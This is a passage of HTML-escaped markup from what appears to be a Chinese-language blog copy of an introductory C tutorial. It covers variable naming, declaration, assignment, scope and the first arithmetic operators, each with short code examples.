href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%8F%98%E9%87%8F%E5%90%8D\" class=\"headerlink\" title=\"变量名\"\u003e\u003c/a\u003e变量名\u003c/h3\u003e\u003cp\u003e变量名在 C 语言里面属于标识符(identifier),命名有严格的规范。\u003c/p\u003e\u003cul\u003e\u003cli\u003e只能由字母(包括大写和小写)、数字和下划线(\u003ccode\u003e_\u003c/code\u003e)组成。\u003c/li\u003e\u003cli\u003e不能以数字开头。\u003c/li\u003e\u003cli\u003e长度不能超过63个字符。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e下面是一些无效变量名的例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e$zj\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ej**p\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"number\"\u003e2\u003c/span\u003ecat\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eHot-tab\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003etax rate\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003edon\u003cspan class=\"number\"\u003e\u0026#39;\u003c/span\u003et\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,每一行的变量名都是无效的。\u003c/p\u003e\u003cp\u003e变量名区分大小写,\u003ccode\u003estar\u003c/code\u003e、\u003ccode\u003eStar\u003c/code\u003e、\u003ccode\u003eSTAR\u003c/code\u003e都是不同的变量。\u003c/p\u003e\u003cp\u003e并非所有的词都能用作变量名,有些词在 C 语言里面有特殊含义(比如\u003ccode\u003eint\u003c/code\u003e),另一些词是命令(比如\u003ccode\u003econtinue\u003c/code\u003e),它们都称为关键字,不能用作变量名。另外,C 语言还保留了一些词,供未来使用,这些保留字也不能用作变量名。下面就是 C 语言主要的关键字和保留字。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003eauto, break, case, char, const, continue, default, do, double, else, enum, extern, float, for, goto, if, inline, int, long, register, restrict, return, short, signed, sizeof, static, struct, switch, typedef, union, unsigned, void, volatile, while\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e另外,两个下划线开头的变量名,以及一个下划线 + 大写英文字母开头的变量名,都是系统保留的,自己不应该起这样的变量名。\u003c/p\u003e\u003ch3 id=\"变量的声明\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%8F%98%E9%87%8F%E7%9A%84%E5%A3%B0%E6%98%8E\" class=\"headerlink\" title=\"变量的声明\"\u003e\u003c/a\u003e变量的声明\u003c/h3\u003e\u003cp\u003eC 语言的变量,必须先声明后使用。如果一个变量没有声明,就直接使用,会报错。\u003c/p\u003e\u003cp\u003e每个变量都有自己的类型(type)。声明变量时,必须把变量的类型告诉编译器。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e height;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面代码声明了变量\u003ccode\u003eheight\u003c/code\u003e,并且指定类型为\u003ccode\u003eint\u003c/code\u003e(整数)。\u003c/p\u003e\u003cp\u003e如果几个变量具有相同类型,可以在同一行声明。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e height, width;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 等同于\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e height;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e width;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e注意,声明变量的语句必须以分号结尾。\u003c/p\u003e\u003cp\u003e一旦声明,变量的类型就不能在运行时修改。\u003c/p\u003e\u003ch3 id=\"变量的赋值\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%8F%98%E9%87%8F%E7%9A%84%E8%B5%8B%E5%80%BC\" class=\"headerlink\" title=\"变量的赋值\"\u003e\u003c/a\u003e变量的赋值\u003c/h3\u003e\u003cp\u003eC 语言会在变量声明时,就为它分配内存空间,但是不会清除内存里面原来的值。这导致声明变量以后,变量会是一个随机的值。所以,变量一定要赋值以后才能使用。\u003c/p\u003e\u003cp\u003e赋值操作通过赋值运算符(\u003ccode\u003e=\u003c/code\u003e)完成。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e num;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003enum = \u003cspan class=\"number\"\u003e42\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,第一行声明了一个整数变量\u003ccode\u003enum\u003c/code\u003e,第二行给这个变量赋值。\u003c/p\u003e\u003cp\u003e变量的值应该与类型一致,不应该赋予不是同一个类型的值,比如\u003ccode\u003enum\u003c/code\u003e的类型是整数,就不应该赋值为小数。虽然 C 语言会自动转换类型,但是应该避免赋值运算符两侧的类型不一致。\u003c/p\u003e\u003cp\u003e变量的声明和赋值,也可以写在一行。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e num = \u003cspan class=\"number\"\u003e42\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e多个相同类型变量的赋值,可以写在同一行。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e x = \u003cspan class=\"number\"\u003e1\u003c/span\u003e, y = \u003cspan class=\"number\"\u003e2\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e注意,赋值表达式有返回值,等于等号右边的值。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e x, y;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ex = \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ey = (x = \u003cspan class=\"number\"\u003e2\u003c/span\u003e * x);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面代码中,变量\u003ccode\u003ey\u003c/code\u003e的值就是赋值表达式(\u003ccode\u003ex = 2 * x\u003c/code\u003e)的返回值\u003ccode\u003e2\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e由于赋值表达式有返回值,所以 C 语言可以写出多重赋值表达式。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e x, y, z, m, n;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ex = y = z = m = n = \u003cspan class=\"number\"\u003e3\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面的代码是合法代码,一次为多个变量赋值。赋值运算符是从右到左执行,所以先为\u003ccode\u003en\u003c/code\u003e赋值,然后依次为\u003ccode\u003em\u003c/code\u003e、\u003ccode\u003ez\u003c/code\u003e、\u003ccode\u003ey\u003c/code\u003e和\u003ccode\u003ex\u003c/code\u003e赋值。\u003c/p\u003e\u003cp\u003eC 语言有左值(left value)和右值(right value)的概念。左值是可以放在赋值运算符左边的值,一般是变量;右值是可以放在赋值运算符右边的值,一般是一个具体的值。这是为了强调有些值不能放在赋值运算符的左边,比如\u003ccode\u003ex = 1\u003c/code\u003e是合法的表达式,但是\u003ccode\u003e1 = x\u003c/code\u003e就会报错。\u003c/p\u003e\u003ch3 id=\"变量的作用域\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%8F%98%E9%87%8F%E7%9A%84%E4%BD%9C%E7%94%A8%E5%9F%9F\" class=\"headerlink\" title=\"变量的作用域\"\u003e\u003c/a\u003e变量的作用域\u003c/h3\u003e\u003cp\u003e作用域(scope)指的是变量生效的范围。C 语言的变量作用域主要有两种:文件作用域(file scope)和块作用域(block scope)。\u003c/p\u003e\u003cp\u003e文件作用域(file scope)指的是,在源码文件顶层声明的变量,从声明的位置到文件结束都有效。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e x = \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%i\\n\u0026#34;\u003c/span\u003e, x);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,变量\u003ccode\u003ex\u003c/code\u003e是在文件顶层声明的,从声明位置开始的整个当前文件都是它的作用域,可以在这个范围的任何地方读取这个变量,比如函数\u003ccode\u003emain()\u003c/code\u003e内部就可以读取这个变量。\u003c/p\u003e\u003cp\u003e块作用域(block scope)指的是由大括号(\u003ccode\u003e{}\u003c/code\u003e)组成的代码块,它形成一个单独的作用域。凡是在块作用域里面声明的变量,只在当前代码块有效,代码块外部不可见。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e a = \u003cspan class=\"number\"\u003e12\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (a == \u003cspan class=\"number\"\u003e12\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e b = \u003cspan class=\"number\"\u003e99\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d %d\\n\u0026#34;\u003c/span\u003e, a, b); \u003cspan class=\"comment\"\u003e// 12 99\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e, a); \u003cspan class=\"comment\"\u003e// 12\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e, b); \u003cspan class=\"comment\"\u003e// 出错\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面例子中,变量\u003ccode\u003eb\u003c/code\u003e是在\u003ccode\u003eif\u003c/code\u003e代码块里面声明的,所以对于大括号外面的代码,这个变量是不存在的。\u003c/p\u003e\u003cp\u003e代码块可以嵌套,即代码块内部还有代码块,这时就形成了多层的块作用域。它的规则是:内层代码块可以使用外层声明的变量,但外层不可以使用内层声明的变量。如果内层的变量与外层同名,那么会在当前作用域覆盖外层变量。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e10\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e20\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e, i); \u003cspan class=\"comment\"\u003e// 20\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e, i); \u003cspan class=\"comment\"\u003e// 10\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,内层和外层都有一个变量\u003ccode\u003ei\u003c/code\u003e,每个作用域都会优先使用当前作用域声明的\u003ccode\u003ei\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e最常见的块作用域就是函数,函数内部声明的变量,对于函数外部是不可见的。\u003ccode\u003efor\u003c/code\u003e循环也是一个块作用域,循环变量只对循环体内部可见,外部是不可见的。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"type\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; \u003cspan class=\"number\"\u003e10\u003c/span\u003e; i++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e, i);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e, i); \u003cspan class=\"comment\"\u003e// 出错\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003efor\u003c/code\u003e循环省略了大括号,但依然是一个块作用域,在外部读取循环变量\u003ccode\u003ei\u003c/code\u003e,编译器就会报错。\u003c/p\u003e\u003ch2 id=\"运算符\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E8%BF%90%E7%AE%97%E7%AC%A6\" class=\"headerlink\" title=\"运算符\"\u003e\u003c/a\u003e运算符\u003c/h2\u003e\u003cp\u003eC 语言的运算符非常多,一共有 50 多种,可以分成若干类。\u003c/p\u003e\u003ch3 id=\"算术运算符\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E7%AE%97%E6%9C%AF%E8%BF%90%E7%AE%97%E7%AC%A6\" class=\"headerlink\" title=\"算术运算符\"\u003e\u003c/a\u003e算术运算符\u003c/h3\u003e\u003cp\u003e算术运算符专门用于算术运算,主要有下面几种。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003e+\u003c/code\u003e:正值运算符(一元运算符)\u003c/li\u003e\u003cli\u003e\u003ccode\u003e-\u003c/code\u003e:负值运算符(一元运算符)\u003c/li\u003e\u003cli\u003e\u003ccode\u003e+\u003c/code\u003e:加法运算符(二元运算符)\u003c/li\u003e\u003cli\u003e\u003ccode\u003e-\u003c/code\u003e:减法运算符(二元运算符)\u003c/li\u003e\u003cli\u003e\u003ccode\u003e*\u003c/code\u003e:乘法运算符\u003c/li\u003e\u003cli\u003e\u003ccode\u003e/\u003c/code\u003e:除法运算符\u003c/li\u003e\u003cli\u003e\u003ccode\u003e%\u003c/code\u003e:余值运算符\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e(1)\u003ccode\u003e+\u003c/code\u003e,\u003ccode\u003e-\u003c/code\u003e\u003c/p\u003e\u003cp\u003e\u003ccode\u003e+\u003c/code\u003e和\u003ccode\u003e-\u003c/code\u003e既可以作为一元运算符,也可以作为二元运算符。所谓“一元运算符”,指的是只需要一个运算数就可以执行。一元运算符\u003ccode\u003e-\u003c/code\u003e用来改变一个值的正负号。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e x = \u003cspan class=\"number\"\u003e-12\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003e-\u003c/code\u003e将\u003ccode\u003e12\u003c/code\u003e这个值变成\u003ccode\u003e-12\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e一元运算符\u003ccode\u003e+\u003c/code\u003e对正负值没有影响,是一个完全可以省略的运算符,但是写了也不会报错。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e x = \u003cspan class=\"number\"\u003e-12\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e y = 